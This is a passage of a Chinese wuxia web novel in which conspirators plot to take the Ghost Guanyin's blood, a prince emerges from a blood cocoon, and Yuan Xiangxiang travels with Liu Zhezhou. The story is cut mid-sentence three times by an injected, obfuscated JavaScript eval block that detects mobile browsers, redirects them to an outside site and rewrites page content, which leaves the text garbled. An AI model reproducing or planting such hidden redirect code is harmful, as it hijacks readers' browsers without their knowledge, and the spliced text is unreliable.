这个老儒生慢慢道:“不久前已有消息传来,我估摸着,时间应该也差不多了。” 何彦飞闻言,眼中寒芒微动,凛声道:“若真如此,我倒是求之不得。” 这等美事,这等机遇,可遇不可求。 “哼,你对那位公主送来的礼物依旧不满意么?所以才会如此在意鬼观音的到来?”刘天承放下瓷碗,继续道,“换句话说,我们韬光养晦近十年,如今能不能一举拿下呢?” 刘天承正好坐南朝北,他手中的筷子轻轻指了指对面的方向,嘴上呷然一笑。 “……如果能得到观音血,那胜算自然最大。”何彦飞声色微沉,“因为……就算是那位公主送来的礼物也不能避免‘化茧’的弱点……” 刘天承微微一颤,但面上仍旧不变,道:“果然,必须得要观音血才行吗?” 他记得那个公主的身边——那个周身都被宽大的黑衣兜帽紧紧包裹的高大的独臂男人。 许久之前,刘天承还只是前任首府底下一个小官。后来,何彦飞曾救过刘天承一命,新旧交替之时,刘天承能如此顺利坐上首府之位,这其中,功不可没。 此后,在临安落脚后,刘天承也对他处处照拂。 “当年铸剑之时,问剑生据三方势力而定,看来……我们有必要去一趟落雪山庄了。”何彦飞冷凝着一张脸,眸光波动起伏。 “哼!”刘天承忽然面上青光一闪,骂道,“狗腿山庄!” 他们口中的“落雪山庄”与“狗腿山庄”便是如今天下第一大铸剑山庄,传言也是孤鸿剑鞘锻造而出的地方。 只是——江湖中仍旧传言孤鸿无鞘,却也无一人相信。 “观音血或者灵帝血……?”刘天承试探一问,“总该有一个。” 刘天承放下手中碗筷,撩起衣袖,露出苍老的手臂,那手臂上缠满了血迹斑斑的绷带。透着裸露的部位,依稀可以见得他的全身似乎都裹满了白色绷带,血迹微微渗出。 “‘承天事变’后,沈氏一族以下犯上,起兵夺权!沈成安已死,他的二儿子夺位上任……听说新帝虽然年纪不大但手段只比沈成安更加狠辣果决,哈哈,真是因果轮回呐!” “既然因果轮回,那龙椅沈氏一族坐得,我刘天承也坐得!” 他忽然神色崩溃,笑道:“老天既然怜我,让我一个凡夫俗子也能已衰老之躯承受噬心蛊之毒,那就应该更偏爱我——让我得到观音血,让我不老不死,让我重见天光!” 刘天承说话间,面目已经变得张狂而癫狂,那眸中对不老不死的渴望,如同火焰一般猛烈灼烧着:“屈居临安一隅,我别无他法,若想坐上那龙椅,唯有众生不死!为我效力!” 何彦飞静静看着已经陷入癫狂的刘天承,微微笑道:“大人,我此刻前来,正是有一个好消息要告诉您。” 刘天承眸中血光忽闪,他似乎意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他们来到一处底部是一处极为宽阔的幽光水潭,水色幽深晦暗,唯有点点血色荧光在其中流淌翻涌。 水潭之上,一座石桥犹如飞虹一般横跨两岸,幽光水潭的四周是嶙峋的黑色墙壁,如同天穹一般的黑色墙壁紧紧笼罩着整个空间,墙壁四周装饰有不计其数的石雕龙头。 “这就是你和他谈过后的办法?”刘天承看见四周密密麻麻的石雕龙头,不免有些疑惑,“这当真能抓住鬼观音?” “大人稍安勿躁。”何彦飞上前开启机关两次,石桥尽头的机关应声开启,只见那黑色的墙壁徐徐打开,又露出一处幽暗的暗室来。 一股浓烈的血腥气扑鼻而来。 刘天承一见到那嵌在墙内的暗室不由得面上大悦道:“这……这就是那位公主赐予的‘圣血’?” 何彦飞点头称是。 飞虹石桥尽头被打开的暗室里,生长着一颗巨大的红白相间的血茧。 那颗血茧的四周遍布着无数粗细不一的宛若树根般的红色经脉。 血茧的两边分立这两个一高一矮的黑衣男人,他们都静默在旁,周身皆被宽厚的黑袍紧紧遮住。 那身量高大的黑袍男人仿佛如山一般安稳沉寂,他的满身都化于黑色,唯有一只独臂孤零零地暴露在外,手臂上的伤口溃烂斑驳,鲜血淋漓。 很快,那个身影较为瘦小的男子便快上前,他来到何彦飞和刘天承面前停驻,躬身行礼,道:“一十六门后人李源知谨遵首府大人与何道长号令,多谢大人与道长的知遇之恩 !” 说话间,李源知已经摘下了身上的黑衣,露出苍白而溃烂的脸庞。 他的脸上除了脓血,还有那冷厉无情的双眼。 46.血月之下故人从天降 天,是红色的。 月,是红色的。 四周,静悄悄。 不,还有如同野兽般起伏的狰狞呼吸。 尖利的长牙与指爪深深陷进血肉之中。 “小玉,不要哭……”两个幼童相互依偎着,其中一个稍稍瘦小的紧紧抱着另一个团子一般的孩子。 他望着那个步步逼近的人,眼中没有丝毫恐惧,反倒生出了无边的怨毒与恨意。 就在不久前,那个本应该是他们安居的一十六门古祠堂却在一瞬间变成了被鲜血浸透的黄泉地狱。 “我会保护你的,哪怕一十六门只剩下我们两个。”细弱的双臂尽管无力,瘦小的身躯尽管羸弱,他也要保护这个大家庭中的每一个人。 这是他对父母发下的誓言。 战乱流离,饿殍遍野,贼寇横行,生死难测。 “阿源作为一十六门第一代后人一定会谨遵父母和各位前辈们的教诲,将一十六门门规谨记在心,好好练功学武,永远保护一十六门的每一个人!” 这是他才刚刚学武时,留在那摆满了牌位的大祠堂发下的重誓,可是,时不待人,早已物是人非。 天际,飘下无数红雨。 他昂起头,红雨顺着他的面庞滚进他的衣衫。 那雨,几乎要将他的皮肉烧灼成灰。 那不是雨,那是一十六门上上下下两百多口人的鲜血! 对面来了一人,那人极为细瘦高挑,一身血衣斑驳凌乱,迎风飒飒作响,手中长剑刃光凌空,杀气四溢! 他亲眼看见,就是眼前这个人屠尽了整个一十六门的人! 他和小玉叫嚣着冲出来,他和小玉被仅有的家中长辈护在身后,他和小玉亲眼看着两百余人尽数化为血块…… 漫天的红雨织成细细密密的网,从天际飘荡而下,沉重的红色雨滴簌簌砸下。 落在石桥上没入水中——那是家中婢女仆人经常抄近路的地方; 雨滴落在整齐的屋瓦之上——那是他和小玉曾经在冬天掰下冰溜溜的地方; 红雨顺着他的脸颊流下——所有的人都化作漫天红雨,死无全尸…… 他仍记得,父母临死前仍死死挡在他的身前,父亲喝道:“鬼观音,今日是我们考虑不当着了你的道,但只要我们一十六门不绝,你便休想有一日安宁!” 他们飞身迎上那嗜血疯狂的观音前,母亲忽然回眸一笑,轻轻道:“剩下的就拜托你了。” 自此,他就再也没见过那言笑晏晏的父母。 一十六门,李家,裴家,王家,赵家,程家,江家,薛家……在前朝崩溃之际,在国破家亡之时,十六家流浪武人为求活命,为求给无数无家可归之人提供庇护之所的一十六门。 自此,再也不见。 风飘摇兮,过往皆不见;草木零落,露雨化为霜。 “那一天,我本以为自己和小玉必死无疑,可就在鬼观音持剑走到我们面前之际,忽有一个矫捷的人影从天而降,那人手中拿着一柄从未见过的长剑径直刺进了鬼观音的心口……”李源知冷冷的声音中出现了一丝不易察觉的动容,继续道,“鬼观音被刺中后,她的全身瞬间无法动弹,那人就让我们快走,自己一人和鬼观音留在那里。” “听你之言,当年你和裴少侠能从鬼观音手中活下来,确实是这个神秘人的缘故,不知你还记得此人身上其它特征吗?”何彦飞追问道。 “若是能找到此人,于我们拿下鬼观音必定更胜一筹。”刘天承咬牙切齿着。 李源知摇摇头,道:“不知。如今,我只确定那人手中的长剑绝不是孤鸿。” 李源知仍旧记得那莹莹似玉般的剑身,携月倾泻而下的是个蒙面的黑裳少女,青丝如烟似雾。 言语间带着些许命令般的倨傲,还有那过分漂亮的长眼中带着些许玩世不恭。 “还不快走?”那少女喝道。 如此情境下,她倒带着几分调笑的意思,俨然不把此情此景放在眼里。 他已然忘记了如何去做,被这少女一声喝醒,便急急忙忙拖着早已昏迷的裴玉珠躲开了去。 直到离开之际,那野兽般的呼吸仍旧轰鸣在耳,他就像母亲那般最后一次回头时,只见漫天血雨腥风卷起,将鬼观音与那少女一同吞没。 他至今也不知那少女究竟有没有活下来,但他知道鬼观音活下来了。 思及此处,李源知周身气血忽然不稳,在他的筋脉中冲撞,他不得不强忍着这份痛苦。 何彦飞看着他的变化,心下了然,便道:“我知你所背负的深仇大恨,否则……你也不会选择化身为自己所唾弃的‘鬼’,来换取杀死鬼观音的力量。” 道士慢慢走到他的身前,将那宽大厚重的黑袍大帽重新盖在了李源知的身上,慈爱地为他整理了衣衫。 李源知面上一松,口间语气也软了下来:“何道长……” “小友,你与那鬼观音是不同的,你不必因为化鬼而惭愧后悔,否则心念不稳,气血攻心,伤了好不容易稳固的噬心蛊虫,届时你所付出和承受的一切,再大仇尚未得报之时便化为泡影,岂不是白白便宜了鬼观音?” 李源知沉沉点头,道:“嗯,道长所言甚是。” 众人沉寂之间,忽然一道温和冷淡的女子嗓音回荡在这片空间之内。 那女子柔声道来:“道长。” 众人眼神惊惧,心中霎时惊惧不已。他们环顾四周,确认无一处疏漏后,面上却更加疑惑不解:此人究竟是如何进来的? “道长,快往前看,就要‘孵化’了。”那女子提醒道。 任凭在场三人如何环视检查也没有发现少女存在的痕迹,在场之人不就他们三人外加一个公主侍卫么? 那个身材极为高大却将自己隐藏在黑暗中,不言不语的男人。 他的独臂似乎永远也不曾愈合,不停地往外渗着鲜红的血。 何彦飞蓦地瞪大眼睛,女人的声音确实是从那个黑衣武士之处传来的!可是他们却遍寻不到一点人影! 就在场中三人惊惧不已之时,一阵强烈的心跳声回荡在这座地底之城中。 砰砰! 砰砰! 心跳声愈渐强烈,众人眼前红白交加的血茧也开始逐渐褪色,如同蛋壳一般纯白的茧,慢慢显露出来,甚至于血茧周围盘踞着的树根状的筋脉状物也开始逐渐褪色。 恰在此时,众人却见那一直如同山一般的公主侍卫忽然行动了起来,他用仅剩的独臂运起内劲,虹桥之下的水面顿时涌起,透明的水流如同长龙一般浇在纯白的茧壳之上。 潭水浇灌在褪色的血茧之上,那茧壳如同雪一般,遇水即化。 “咕叽”一声,如同孵化的卵壳,一个浑身光裸着的男人从半残的茧中滑出。 他的全身上下都黏着无数细密的透明丝线,随着男人的呼吸渐渐明晰,那些丝线迅速变红,而后如同长蛇一般快速回退,全部缩回男人的心口处。 男人睁开眼睛,一只手轻轻覆盖上心口那一处无法愈合的伤疤之上。 他的面上交缠着似乎痛苦似乎愉悦的神情,目眩神迷。 “韩云殿下!”刘天承慌忙跑过去,他忙伸出手想要扶起那个男人,却被那个年轻男人挥手制止了。 “韩云殿下,恭喜恭喜!”何彦飞随后而来,笑道,“殿下不惜以命相搏,如今天下再也无人敢怀疑殿下的血统了!” 趴在地上的年轻男人此刻才慢慢恢复神志,他的全身似乎仍旧不受控制,犹如新生的小兽,只能无力而疲软地卧在地上。 他低低一笑,道:“血仙虫?哈哈哈,那确实要感谢公主送来的大礼了。” 说话间,他的双目已慢慢转为赤红,周身的骨骼自行涌动起来,他的嘴角笑意更盛。 只因他感受到了蓬勃的力量! 汹涌澎湃着的内力与愉悦冲刷着这具新生的躯体,他闭目感受着,冥想着,似乎天地与之俱来,皆能尽握手中。 鬼观音?哼,你当年也是如此么? “恭喜殿下,贺喜殿下,能与血仙虫成功融合,此等神迹唯有先帝之后才能做到!前些日子是小的唐突了殿下,还请殿下恕罪。”刘天承俯首跪下,可在他那低下的面上,嘴中却是咬牙切齿着。 见刘天承已经跪下,其余人纷纷跪下,李源知藏在黑衣黑帽下的脸亦是寒霜一片,血筋暴起。 他自是没料到奉国寺的澄明小师傅竟是前朝灵生帝的遗子,但他更恨这个人。 此人在奉国寺用噬心蛊虫在无数僧人身上做实验——如果说原湘湘和鬼观音是导致裴玉珠筋脉尽废的罪魁祸首,那此人就是导致裴玉珠变成废人的根本因果! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885326|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可是,可是!可如今自己也变成了那鬼!变成了最为自己唾弃的恶鬼! 最关键的还是!自己只能勉强与噬心蛊虫相融,而那个和尚,那个人竟然能够与血仙虫融合! 李源知你怕死!所以你不敢冒死承受! 李源知你伪善!所以你不敢像王岳生那般径直拒绝! 他的头脸愈来愈低,似乎只要将头颅深深低下,他所做的一切就不会为世人所知,他就可以继续用那个光明磊落的皮囊“李少侠”行走世间…… 不不不!不一样的!我还有家门血仇要报……我和他们是不一样的! 韩云殿下,即奉国寺的澄明小师傅,他自感内力与体力渐渐恢复,便已缓缓起身。 光洁的裸身毫不遮掩地暴露在外,身躯颀长,挺直如松,从小腿到胸腹再到双肩,肌肉结实有力,线条流畅,那是多年在奉国寺苦修的结果。 即便多年如一日苦修,处心积虑,可还是不敌鬼观音——但如今不同了。 自己冒着九死一生的危险选择与公主赐下的“圣血”相融,不死,那便是成了!想到此处,澄明略薄的唇角不禁向上弯起。 他的脸型窄小,鼻梁高挺,如刀刻斧削一般立体,一双黑眸狭长,犹如鹰隼一般锐利。这正是和他那秀气柔美的母亲完全相反的面容特征。 “方才你们说到要抓鬼观音?”澄明反问。 他在即将破茧而出时,确乎能听得见些许话音。虽然那时还是沉眠中,但被血仙虫强化过的身体,早已不可同日而语。 “回殿下的话,正是。”何彦飞上前毕恭毕敬道。 “那你们打算怎么抓她?能抓住吗?以及……抓到后……”澄明弯身俯下腰一一审视着面前跪下的那几人,正如翱翔在天空狩猎的鹰隼,“你们真的舍得杀了她?” 他的目光扫过刘天承、李源知等人身上不断溃烂流处的红血。 澄明话音一出,众人心惧,都不敢说话。 他们确实想杀了鬼观音,可他们更想在杀死鬼观音之前取得观音血,哪怕只有一滴半点,说不定都有让他们彻底“转化”的可能,从而不再饱受这血肉腐烂之苦。 “你们只觉得鬼观音行,不觉得我行?”澄明说话间已慢慢走到那个如山般的男人身边,从他手中拿过一件黑袍披在身上。 那袍子一直都被独臂男人拿在手中等待着,仿佛他早已知晓澄明必会茧化成功。 长长的黑袍披身而下,遮住了男子光裸的身体,唯独留下两条修长健壮的小腿暴露在外。 “不可以的,云殿下。”此前那不知何处而来的女子声音又一次飘来,“即便是已经与血仙虫融合,你和阿袁——也是不能见光的。” “放屁!”澄明面上一瞬狰狞,厉声道,“如果这样,那我冒死选择接受血仙虫的意义何在!” 他瞬间飞身来到那个独臂男人身前,双目血红,尖牙隐隐从口中生出,一副恨不得要将眼前那个男人生吞活剥了一般。 “那你说!你说!血仙虫是从这个男人体内剥离而出,又将那一滴活血生生塞进我的身体里……”澄明自顾自地说起话来,容色也从暴戾愤怒慢慢转为悲哀可怜,“如今却说不能像鬼观音那般……那我究竟是为了什么……” “为了什么……”他颓然坐下,仿佛失了魂魄的人偶,薄唇微微颤抖着,“为了什么呢……” 他轻轻抚摸着自己心口上那道似乎永远无法愈合的伤口。那道足以将人一撕两半的伤口,如今也涌出滔天海浪般的无尽痛楚。 “这正是我们不远万里,冒死西渡的原因。”一直如山般沉默魁梧的男人缓缓走到澄明面前,他的独臂从那宽大的黑衣袍袖中现出,而后那溃烂的五指便紧紧托住了澄明的下巴。 而后众人便听见阵阵令人心悸的碎裂声。他们随声望去,只见男人紧紧捏住澄明的下巴,而澄明就像一只被吊死的野狗一般任人宰割。 那碎裂的声响,正是澄明被男人捏碎的颌骨。 “休要对净琉璃公主不敬,如有下回,我能让你生,也能让你死。”男人慢慢收回手,沉声道,“此世唯有已死的皇帝和将死的观音能活在朗朗乾坤之下。” 余下,皆为暗中腥臭腐烂的蝼蚁。 “这都是她害的——!!!”澄明哆嗦着趴在地上,紧咬牙关,在心中狠狠痛骂道。 47.东海西渡飘渺悼灵帝 清月夜,高楼阁,凉台风送,半尺明房。 屋内光影明灭不定,空旷静谧。偌大的雕花屏风后面时不时地传来几滴轻声水响,氤氲而上的热气朦胧成团,转瞬又化归虚无。 不多时,当水声彻底停止,热气也愈发稀少时,从这扇古朴的雕花屏风后款款走出一位妙龄少女。 那少女虽然不够高挑,却也生得玲珑有致,绰约曼妙,脸庞精巧细致,皮肤如霜似雪般细腻,因着刚刚沐浴完毕,雪白里还透着丝丝缕缕的嫣红,剥了皮的桃子一般轻柔诱惑。 可在这具身体的后方——少女窄窄的后背上却极不合时宜地纹着青褐色的纹路,密密麻麻的,几乎爬满了整个纤细的背部。 细细看过去,竟是一副不知名状为何的图样。 夜深寒凉,少女很快便穿上一件白色暗纹的绸缎里衣,许是耐不住夜晚的寒气,她便随手将衣服勒紧,让布料与肌肤贴得更加紧密,隐隐露出曼妙的身子。 很快,殿外传来一阵极为沉重且缓慢的脚步声。那声音仿佛千钧铁甲松松散散,难以为继地砸在沙土之上。 少女听见声响,不由得细眉紧蹙。她慌忙裹了衣裳跑出去。 刚至大店门口,她便不得不停下,一手紧紧抓着另一边的臂膀,面色悲伤不已。 一个身材高大,满身漆黑的男人朝少女跪下,道:“净琉璃大人,还请早点休息,明日……黄昏,我们便启程。” 那男人高大的身躯仿佛一座隆起的小山,结实虬健的曲线如同山峦般起伏不定。宽厚结实的黑衣长袍下方堪堪露出一只大手,而身体的左侧确实空无一物,空荡荡的。 “……好。”少女面色沉静,幽黑的夜色将她的脸完全遮掩在黑暗里,而黑暗里又泛着一股似有若无的腥气。 “大人,天浮岛那边也早已安排妥当了。”那人依旧单膝跪着,没有半分要起来的意思。 那边的少女有条不紊地穿起一件件单衣,层层叠叠,色彩绚丽,繁复华丽。良久后,少女道:“你……还记得自己的故乡吗?” 男人沉寂,半晌后方回道:“永生不会忘记,我在那里经历过的一切。” “可我……快要忘记了。”少女已经穿戴完毕,她回身望着四周嵌满镜子的墙壁,镜中映出她的一半脸庞,清丽柔美,惹人怜爱,“已经……快要忘记曾经的过去了。” 多少年了?只能依靠满墙的镜子折射而出的光——才敢正视。 “琉璃!”黑衣男人一时情急,他慌忙起身想要进到屋中,可是,最终还是停在门槛上方。“琉璃,我们手中有一,新帝有一,最后一份应该就是铸鞘之时传言留给化鬼山庄的一份。此行只要集齐剑鞘,解开那个秘密,复活他,那所有的一切——便不再为之所扰了。” 男人忽然间着了急,他似乎是嗅到什么不妙的气息正在蔓延,一时间难以控制,微微向前两步,随后又像那受惊的小兽,瑟缩着退回原地跪下。 再快一点,再快一点,必须要再快一些,因为已经时日无多了。 “阿袁……”她一边朝男人走去,一边解开自己的衣带,华丽漂亮的十二单如同她眸中的眼泪,簌簌而落,砸落在地面上,像是春末那层层叠叠的残花。 分外美丽却又无比哀伤。 男人蓦地握紧拳头,他想要后退,可身后却无路可退。 “阿袁……”少女终于走到男人的面前,她洁白的双臂拢上男人的脖颈,啜泣道,“已经无路可走了,阿袁,要了我吧。” 说罢,那具纯白如月般的躯体就贴近了男人的怀抱。 “只有如此,我们才能撑得到那个时候。”少女细嫩的双手轻柔地捧起男人的下巴,她伸出一指抚摸着男人早已干涸的嘴唇,泣声道,“我终不忍见你死……阿袁,要了我吧,就如同当年我吃下那个男人一般,将我深深地融入你的骨血——如是,也是生死相依。” 男人干涸的嘴唇翕动着,他用仅剩的一只独臂缓缓抬起,小心翼翼地抱起怀中的少女。 一滴泪,终是从他那被黑衣紧紧遮盖的脸上流下。 那泪水砸落在少女的指尖,她将那湿润的手指抬起,映着烛光,那白嫩的手指竟然瞬间褪色泛黑,皱缩起来。 可下一瞬,手指就又恢复原状。 少女道:“阿袁你看,即便你百般不愿不舍,可我们也要死到临头了……不仅如此,这么久了,我们……还是我们吗?我们还能找回我们吗?” 被可悲寿数消磨了的一切,除了□□,还有什么被禁锢被消融? 少女倾身投入男人的怀抱,而男人的独臂也颤抖着将她拥得更紧。 仿佛此生此世,仅剩此刻。 烛光荧荧,物影西移。 男人那只独臂早已腐烂见骨。 久远之境,东海海外,飘渺无尽处,有妖物出没。 “吃了人鱼肉就能不老不死。” “可那人鱼肉也是剧毒,就算侥幸抓到了人鱼,吃了也会被毒死。” “那怎么办……” “那就吃掉吃了人鱼肉也不会死的人呀。” 人间多欲,起于尘想。 耽于求执,源起贪妄。 光阴如梭,妄冀彭殇。 不生不灭,长夜未央。 昨日花开,今朝花落。 月有盈缺,人生无常。 西来玄女,真龙化羽。 得失荣枯,恍若一梦。 有即是无,无即是有。 净即是垢,垢即是净。 善即是恶,恶即是善。 生即是死,死即是生。 碧落无门,黄泉失舟。 蓬莱渺渺,星汉茫茫。 灵泉已涸,帝台既没。 逐日填海,痴念成劫。 净瓶坠地,白鸟飞天。 魂归蒿里,魄散大荒。 烛龙闭目,日月收光。 如露如电,万物尘扬。 “那你们准备怎么办?”一片沉寂静默之中,李源知毫不客气地打破沉默,“只靠浊血的话,可能还会起反作用。” 鬼观音是无论如何都要抓的,可她武功卓绝心狠手辣,又岂会是束手就擒之辈? 他永生永世也不会忘记在鬼观音血对决一十六门时,那修罗恶鬼突然走火入魔,手中长剑尽斩,将一切都化作漫天血雨。 被血雨浇透的鬼观音虽然早已走火入魔,可她却意外地停住了脚步,痛苦地在原地挣扎。 也正是因为如此,年幼的李源知和裴玉珠才得以逃出生天。因此,他觉得浊血一定能限制鬼观音的行动,届时只要抓住时机,就一定能报仇雪恨! 思及此,李源知不由得痛苦地皱起眉,他的心中又开始隐隐作痛:当年救下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899759|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的那女子,她还活着吗…… 澄明本来正处在失落之中,他不甘平庸不甘示弱,可谁让天意弄人,让他苟活,却又无法比肩鬼观音。 可在他听见众人正在商讨如何抓捕鬼观音之时,他的脑中突然一阵白光闪过,惊得他呵呵低笑起来。 在旁众人听见他那笑声,不由得为之一震。 何彦飞淡定上前,问道:“韩云殿下可是有何指教?” 澄明缓缓起身,迈着悠闲自适的步子,道:“鬼观音也并不是毫无弱点。” 说罢,他的眼中精光大放。 刘天承面色骤变,慌忙跑过去,将说不说,道:“韩云殿下!” 李源知静立在旁,思绪翻涌着,他似乎想到了什么,他隐约猜到澄明究竟要说什么。 澄明迈步上前,笑道:“原湘湘!那个姑娘叫原湘湘!在奉国寺的时候,我本有多次机会杀了那个碍眼的,可不知鬼观音却多次护她?” 说到此处,澄明面上的笑容早已消失不见,只剩咬牙切齿。 李源知心中暗道:果不其然就是她! 还能是谁?正是奉国寺中多次死里逃生的原湘湘! “韩云殿下能否再说的详细些?”何彦飞淡定上前问道。 何彦飞虽然也曾亲去奉国寺,但当时因为某些缘故,他仅与王岳生等人打了个照面,便很快离开了。 后续之事,他虽有耳闻,但终究比不得亲历在场的其他人。 “就是那个原湘湘!”澄明忽然面上青光一闪,脸上抽搐起来,一把揪住何彦飞的脖子,“抓住她!鬼观音跟她一定有什么见不得光的关系!鬼观音多次救她不死,这还要怎么解释!那个原湘湘甚至跟着鬼观音一同跳进火海!” 澄明气急败坏,他只要一想到在奉国寺时自己曾经和原湘湘互相殴打不下,最后又被她一脚踹飞,心中便怒火中烧。 “我要亲手把她的心挖出来!”澄明念道,“成为我身体的一部分,能与我一同长生,也算是她几辈子修来的福气,哈哈哈!” 这一次无论如何也要杀了她! 但在此之前,也要让她尝尝深爱之人死在眼前的痛苦! 他的义父,他真正的父亲——李校尉,奉国寺的玄同长老,为了他付出自己的一切,不惜性命,不惜本心,只为自己能够实现复国的愿望…… 可是呢……偏又被那个原湘湘活生生勒下了头颅! 何彦飞被他忽然揪住领子,一时之间也不知该如何是好,只得连连安慰道:“殿下息怒殿下息怒,此人既然如此重要,那便由在下亲自去抓如何?绝不会让她轻易逃了的。” 何彦飞尽管心中暗自不满,但面上依旧恭敬妥帖。他隐姓埋名于此,蛰伏多年,可不能功亏一篑。 他在心中盘算着:虽然澄明是个身份不明的皇子,但起码他现在还有用,此时还是要一切以安抚为主。 澄明听何彦飞这样保证,又联想到他来到此地后何彦飞的所作所为皆是为他效力,心中的怒火和耻辱也暂时被他咽了下去。 他愤愤看了一眼那依旧藏身在黑袍之中如山一般沉静不动的男人,拂袖退到一旁。此时,无论心中有多大的不满,多么沉重的耻辱也无法发泄。无它,唯弱耳。 无论如何,都要生吞活剥了鬼观音!再将那原湘湘的心挖出来,脖子割断,否则难消心头之恨! 48.春心荡白蛇压倒青蛇(上) 春日气暖,园中疏影绰绰。 柳折舟行至一处朱漆回廊,就又缓缓坐了下来。他垂眸闭目,脸色黯淡,罕见地不怎么说话粘着原湘湘。 青丝如烟笼在肩头,缕缕白发掺杂其中。 原湘湘倚在廊柱旁,默默盯着他,半晌后,道:“现在就去天水城吧。” 柳折舟怔愣着清醒,似乎方才真的睡了过去。 他道:“嗯……湘湘姑娘还是放不下心那些被抓走的人吗。” 无鞘之剑,孤鸿三分,顺利找到剑鞘后,便能得到灵帝血……届时,说不定那个铁匠师父的秘密也能得知。 她愈发觉得那个成天喝酒打铁的男人绝非普通的修行之人。 原湘湘也有自己的打算。除了要帮老翁找回女儿之外,她真正的目的便是为鬼观音夺得三分剑鞘之事,以及她自己一些不愿告人的私心。 楚州,于她的前半生而言,无异于地狱。 “我决定了的事就一定要做到底。” 十年之前,尚在楚州之地,她也是拥有相同遭遇的人。 如果能救得一个人的话,哪怕只是一个人…… 原湘湘自觉武功低微,翻天蹈海之事或许不成,但如果老天爷给她这样一个机会,她愿意拼了命地去做。 十年前,原湘湘侥幸被鬼观音救出魔窟;但没被救出来的人怎么办? 活着的人还活着,死去的人却永久地死去了。她觉得自己如果不做点什么的话,那还不如十年前也一并死去。 柳折舟看着她那模样,心下了然。 他依旧笑笑安慰她,道:“我知湘湘姑娘不仅侠义仁心,还有个武功天下第一的师父,不是吗?” 说罢,他又朝着原湘湘眨眨眼。 “你想说什么?” “待下次再遇到鬼观音,湘湘姑娘便说‘徒儿求师父……’这样那样就好啦。鬼观音一定不会拒绝你的。”柳折舟慢慢挪到离原湘湘更近。 靠在廊柱上的原湘湘低头俯视着他,她看见柳折舟头上的白发如同初春新叶一般,愈发多了起来,就连从衣领深处蔓延的裂纹也愈发密集。 几乎只一瞬,她颤抖着撇过了眼,不敢再看那刺目的白色。 绝对不是错觉,他的白发愈来愈多,整个人如同褪去所有颜色一般。 “届时只要湘湘姑娘和鬼观音一同杀进死城,莫说一座城,就是地狱黄泉也能搅得天翻地覆!”柳折舟边说着便用扇子比划着,看着颇有气势。 原湘湘:“……照你这么说,师……鬼观音为什么不早早去收拾了死城?” 他的眉头忽高忽低,似乎是在心中反复纠结,片刻后将扇子往手心一拍,便道:“……像这种绝世高手,说不定都有些难言之隐啦。” 原湘湘双手抱于胸前,俯身过去:“你怎么知道这么多?难不成你就是鬼观音——” “我不是!” ——的什么人。原湘湘还没说完,就被柳折舟惊声打断。 他哈哈笑着,连连摆手,道:“湘湘姑娘真会开玩笑,我哪儿能……跟这种大人物扯上半点关系呢。” “我也没说完,你怎么这么激动。”原湘湘慢慢收回目光。 “不过……若是……有一天,我变得和湘湘姑娘认识的完全相反了,湘湘还会认得我吗?”柳折舟在她身后嗫嚅道。 “怎么?”原湘湘故作不解问他,“柳折舟变成舟折柳?” 柳折舟双手合十,闭眼祈祷着:“那么,我还记得湘湘姑娘欠我三个要求,倒时再许愿让湘湘姑娘永远认得我,记得我。” 原湘湘:“……噢。” 她忽然感觉背后一阵阴风飘过,激得人鸡皮疙瘩掉一地。 九日后,天水城。长街商铺林立,车水马龙,小巷青瓦飞檐,树影绰绰。 “湘湘姑娘,”柳折舟伸着脖子把自己的脸递过去,满面笑意:“此一回,可又要再辛苦湘湘姑娘了。” 原湘湘眉眼一横,既不愠怒也不高兴,一直都是那张面无表情的脸。 “正常点儿。”原湘湘单手撑开他。 “湘湘姑娘,这就是我们的新计划,请看。” 他好似望见情郎的闺中少女,眼角眉梢都是风情,明光闪闪。 原湘湘闻言看过去,原是这人手中捧着一套新衣裳,款式看不太出来,但那颜色确实是让人一看就会眼前一亮,白日浮水绿,清风碧波游。 “给我的?” “哪儿有姑娘不爱美的道理?”柳折舟托着腮,故作思忖,道,“那桃花大盗也必定会被湘湘姑娘的风姿所折服。” 原湘湘蓦地满面恶寒。 “还好啦,湘湘就不想换一身新衣服嘛。况且……”他本来说说笑笑,可很快就容色一变,柔柔的声音也泛着股寒气,“我说过‘就算是黄泉地狱也会陪着湘湘一起去的。’” 原湘湘拧眉望着他,此人头一回在她的面前迸发出凛冽寒气,就只为让原湘湘换一套新衣服。 她无奈叹了口气,伸手接过了衣服。 这是一套黄绿相间的衣裙,甚是柔软,腰间饰以鹅黄水红缎带,还有些黄绿相间的珠花。 “那我就在门口等湘湘下来。”柳折舟喜笑颜开地退了出去。 她轻抚着那套衣裙,一时之间竟然不知该如何是好。上一次对她嘘寒问暖,为她缝衣做饭的是她的铁匠师父和兰姨。 虽然只是山间小村落里的住户,日子过得平静而单薄,但他们二人对原湘湘这个“女儿”却是如若己出。 离开土楼之后,她身上的血洞因为长途奔波生了恶疮,路途间一直是柳折舟耐心地照顾生活起居。直到来到天水城后,柳折舟便又雇了临近酒水店家的女老板,托她过来帮个忙。 这期间,她所有衣食生活都被柳折舟安排得稳稳当当。 她忽然意识到某种结果,自己和柳折舟的位置在什么时候开始调换了呢?这个人是真的如表面看到的那般吗? 原湘湘穿好衣服后,左看右看,犹豫半晌才推门而出。 